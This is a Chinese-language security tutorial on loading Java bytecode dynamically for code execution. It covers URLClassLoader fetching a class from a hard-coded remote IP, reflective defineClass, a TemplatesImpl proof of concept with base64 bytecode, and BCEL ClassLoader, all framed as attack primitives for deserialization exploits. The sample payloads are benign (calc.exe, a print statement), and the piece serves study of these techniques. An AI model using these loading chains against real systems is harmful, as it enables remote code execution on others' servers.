Java动态加载字节码
什么是Java的“字节码”
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
众所周知,不同平台、不同CPU的计算机指令有差异,但因为Java是一门跨平台的编译型语言,所以这些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台 的JVM虚拟机中。甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文件,都可以在JVM虚拟机中运行:
本文中所说的“字节码”,可以理解的更广义一些——所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内。
利用URLClassLoader加载远程class文件
Java的ClassLoader来用来加载字节码文件最基础的方法,我们曾在本系列最开头反射相关部分讲过:
ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的
ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime 。
ClassLoader的概念的确不是一语概之的,所以我本文也不做深入分析,本文要说到的是这个ClassLoader: URLClassLoader 。
calc.class
package com.test.TemplatesImpl;
public class calc {
public static void main(String[] args) {
try {
Process process = Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
package com.test.TemplatesImpl;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL url = new URL("http://110.40.177.201:8080/");
URLClassLoader cl = new URLClassLoader(new URL[]{url});
Class c = cl.loadClass("calc");
c.newInstance();
}
}
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这 些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL没有以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
我们正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是 非 file 协议的情况下,最常见的就是 http 协议。
作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。
利用ClassLoader#defineClass直接加载字节码
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
- findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
- defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
真正核心的部分其实是defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。
我们可以编写一个简单的代码,来演示如何让系统的defineClass 来直接加载字节码:
package com.test.TemplatesImpl;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
注意一点,==在defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行==。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇中进行过说明),在defineClass 时也无法被直接调用到。所以,如果我们==要使用defineClass 在目标机器上执行任意代码,需要想办法调用构造函数==。
系统的ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl 的基石。
利用TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他也没存在的价值了对吧),这就是TemplatesImpl 。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类TransletClassLoader :
Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length);}
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。我们从TransletClassLoader#defineClass() 向前追溯一下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
追到最前面两个方法TemplatesImpl#getOutputProperties() 、TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。我们尝试用newTransformer() 构造一个简单的POC:
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
其中, setFieldValue 方法用来设置私有属性,可见,这里我设置了三个属性: _bytecodes 、name和_tfactory 。
- _bytecodes 是由字节码组成的数组;
- _name 可以是任意字符串,只要不为null即可;
- _tfactory 需要是一个TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错。
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
所以,我们需要构造一个特殊的类:
package com.test.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TempClass extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public TempClass(){
super();
System.out.println("Hello TemplatesImpl");
}
}
利用BCEL ClassLoader加载字节码
所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内。所以,bcel字节码也必然在我们的讨论范围内,且占据着比较重要的地位。
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。
关于BCEL的详细介绍,请阅读https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
我们可以通过BCEL提供的两个类Repository 和Utility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
而BCEL ClassLoader用于加载这串特殊的“字节码”,并可以执行其中的代码:
BCEL ClassLoader在Fastjson等漏洞的利用链构造时都有被用到,其实这个类和前面的TemplatesImpl 都出自于同一个第三方库,Apache Xalan。
但是由于各种原因(详见前面所说的《BCEL ClassLoader去哪了》),在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能且用且珍惜了。